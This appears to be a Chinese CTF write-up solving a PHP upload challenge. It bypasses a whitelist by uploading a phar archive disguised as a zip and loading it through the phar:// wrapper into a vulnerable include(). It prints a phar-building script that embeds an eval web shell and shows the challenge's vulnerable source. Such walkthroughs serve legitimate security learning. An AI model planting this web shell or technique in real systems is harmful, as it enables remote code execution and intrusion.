看题目,感觉是文件上文件上传类型
上传图片成功,发现其文件名被修改,所以不能上传 .htaccess和.user.ini文件(因为文件名被修改了)
1.随便修改文件后缀为abc上传试试,发现不行,所以判断它为白名单过滤
白名单绕过方法有:
1)MIME绕过:通过MIME信息判断文件类型
2)截断:在get请求中,url中添加截断实现后缀名修改(upload/1.php%00)。注意:post请求时,不会自动解码
4)白名单二次渲染之逻辑漏洞:条件竞争
5)文件包含漏洞
根据刚刚的尝试不会检测MIME(因为刚刚尝试MIME为image/png,并没有成功)
因为截断是在url中,在文件名后缀中不能截断,所以也不能用截断
不懂%00截断的可以看这篇博客中pass-12关Upload-labs 1-21关 靶场通关笔记(含代码审计)_upload靶场通关-CSDN博客
得到以上信息后再观察题目
发现url中有一个bingdundun的参数,值为upload。
2.猜测可能使用php伪协议。
试试php伪协议能不能读取index.php文件。
不行
再次尝试发现也不行。
猜测可能禁掉了php://filter和php://input协议。
php伪协议有以下这些
3.再次观察题目,发现他说只能上传图片和压缩包,压缩包这个提示很关键
根据以上得到的信息,大概是上传zip文件,然后使用php://zip伪协议或者php://phar(因为只有这两个和zip文件有关)
先看这两个伪协议,
phar://伪协议这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件,都可以
zip://伪协议与phar://伪协议相似,但是zip是使用绝对路径,phar使用相对路径
再学习一下phar知识
phar,全称为PHP Archive,phar扩展提供了一种将整个PHP应用程序放入.phar文件中的方法,以方便移动、安装。.phar文件的最大特点是将几个文件组合成一个文件的便捷方式,.phar文件提供了一种将完整的PHP程序分布在一个文件中并从该文件中运行的方法。(类型zip文件)
使用phar生成脚本生成一个压缩文件
<?php
class test{
var $name;
}
@unlink("test.phar"); //删除之前创建的test.phar文件(如果有)
$phar = new Phar("test.phar"); //创建一个phar对象,文件名必须以phar为后缀名
$phar->startBuffering(); //开始写文件
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //写入stub
$o = new test();
$o->name = 'eval($_GET["a"])';
$phar->setMetadata($o); //写入meta-data
$a='<?php @eval($_POST["cmd"]);?>)';
$phar->addFromString("test.php", $a); //添加要压缩的文件
$phar->stopBuffering();
?>
这个脚本中的$a就是要向压缩文件中写了的代码,接着运行得到一个phar压缩文件
(注意:要修改配置信息,不然会报错)
接着将压缩的phar文件修改为zip文件上传
上传成功!!!
因为我上传的压缩包中有一个test.php文件
<?php @eval($_POST["cmd"]);?>)
尝试使用蚁剑连接
?bingdundun=phar://e3da83df4068cb95fff41a12045e184e.zip/test
这里写test.php会错误,我也没有搞明白什么原因,然后看了一下别人做的,把后缀去了
连接成功!!!
在根目录找到flag
最后查看一下index文件
//index.php
<meta charset="utf8">
<?php
error_reporting(0);
$bingdundun = $_GET["bingdundun"];
if (!$bingdundun) echo '<a href="?bingdundun=upload">upload?</a>';
if(stristr($bingdundun,"input")||stristr($bingdundun, "filter")||stristr($bingdundun,"data")/*||stristr($bingdundun,"phar")*/){
echo "STOP!~Hacker Wont GET Bingdundun FreeDom!";
exit();
}else{
include($bingdundun.".php");
}
?>
<!-- 你能找到bingdundun的flag嘛,就在这个目录下 -->
发现原来包含文件加了后缀.php
所有使用phar协议最后不用加php